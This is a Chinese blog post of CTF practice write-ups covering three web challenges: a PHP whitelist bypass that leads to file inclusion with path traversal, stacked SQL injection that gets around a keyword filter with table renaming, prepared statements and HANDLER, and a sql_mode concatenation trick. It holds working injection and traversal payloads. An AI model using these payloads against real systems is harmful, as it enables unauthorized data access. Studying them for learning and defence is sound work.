好久没打CTF了好像,马上国赛了,刷点题搞搞~
Web
[HCTF2018]WarmUp
知识点
- 代码审计
- 业务场景为phpmyadmin4.8.1的任意文件包含漏洞
解题思路
拿到代码如下
source.phphint.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>1
flag not here, and flag in ffffllllaaaagggg
关键点在source.php,我们首先理一下程序的运行思路
- 传入参数file,file必须是字符串(不能是数组啥的),并且需要checkFile($file)结果为True,满足的话就会直接文件包含file
- 那么理一下checkFile函数,从上往下走,发现有三个地方能到达true条件:
第一处page为true不行,因为若page为ture得满足page为source.php或hint.php,便无法读取flag,这里是获得源码用的;
第二处为截取url中前两个?之间的内容,若传入source.php?file=source.php?,截取结果为source.php,可以判断为true,且可以利用一个特性,即连续文件包含如file=test.php?file=flag,checkfile函数传入的为整个url参数路径,但判断为true后返回之后取的却是后面的参数file,所以这是整个payload1的思路;
第三处true,肯定第二个true是不满足的了,所以将整个file参数URL解码,为source.php?file=source.php?/../../../../../ffffllllaaaagggg给_page然后截取判断两个问号之间确实为source.php,返回true然后直接包含source.php?/../../../../../ffffllllaaaagggg,得到flag。思路依次为:isset(废话)&&is_string(必须是字符串)–>urldecode–>截取page为__page–>判断为True,得到flag
payload如下:
1 | source.php?file=source.php?file=../../../../../../ffffllllaaaagggg |
Tricks
- 看到urldecode(),立刻想到二次url编码
- 读flag用绝对路径不行,且../有个数限制
[强网杯2019]随便注
知识点
随便输入得到过滤规则
输入1正常回显
输入1’报错,证明是单引号闭合
输入1’ #正常回显
order by 能够判断出列数为2
尝试得到回显位时触发过滤规则
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
可以发现禁掉了相当多的关键词,这里采用堆叠注入;
查询表名
1 | 1';show tables;# |
查询列名
在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
1 | 1';show columns from `1919810931114514`; # |
所以只要想办法查出flag字段中的数据就可以了,给出以下方法
堆叠+改表名列名
这里使用的办法是把表和列重命名……思路确实骚啊。。。
1 | 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;# |
然后直接查询,得到flag
1 | 1' or '1'='1 |
堆叠+预处理语句
三种payload如下
1 | 1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;# |
1 | 1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;# |
1 | 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;# |
handler查询
1 | 1';handler `1919810931114514` open;handler `1919810931114514` read first# |
Tricks
- 改表名确实骚,想不到想不到
- 堆叠注入时,预处理语句可以绕过很多关键词waf
- 预处理语句可以转成16进制过waf
- handler也是种好方法,陌生但很有用
[SUCTF]EasySQL1
知识点
- sql_mode作用
解题思路
预期解法
输入啥回显啥,感觉好像是用的这样的语句可以堆叠注入查表,只有一个Flag表1
select () from tables;
这里需要了解一下sql_mode1
1;show tables;#
- sql_mode定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 “或” 运算符
预期payload为即拼接后为1
1;set sql_mode=PIPES_AS_CONCAT;select 1
后面的||为拼接使用,即select 1拼接select flag,所以得到flag1
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 ||flag from Flag
非预期解法
查询语句其实为输入以下payload1
select $_GET['query'] || flag from flag
语句会变为1
*,1
即所谓的1
select *,1|| flag from flag
1
select *,1 from flag
Tricks
- sql_mode盲区可以控制sql的查询方式
- “简单题“多是技巧,要有意识的去猜测后面的查询语句,说不定可以非预期
本文链接: https://yd0ng.github.io/2020/08/19/BUUCTF%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!